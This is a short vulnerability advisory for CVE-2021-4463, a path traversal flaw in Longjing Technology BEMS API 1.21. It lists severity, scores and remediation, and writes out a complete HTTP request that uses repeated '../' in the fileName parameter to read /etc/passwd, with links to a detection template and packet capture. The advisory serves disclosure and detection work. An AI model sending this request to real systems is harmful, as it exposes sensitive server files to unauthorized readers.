| Title | Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | Unauthenticated attackers can download sensitive files outside the intended directory, leading to information disclosure. |
| Remediation | Update to the latest version beyond 1.21. |
| CVSS Score | 7.5 |
| EPSS Score | 0.01851 |
| CVE ID | CVE-2021-4463 |
| CWE ID | CWE-22,CWE-552 |
| Tags | cve cve2021 lfi packetstorm vuln |
Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
GET /api/downloads?fileName=../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4463.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-4463.pcap
N/AN/A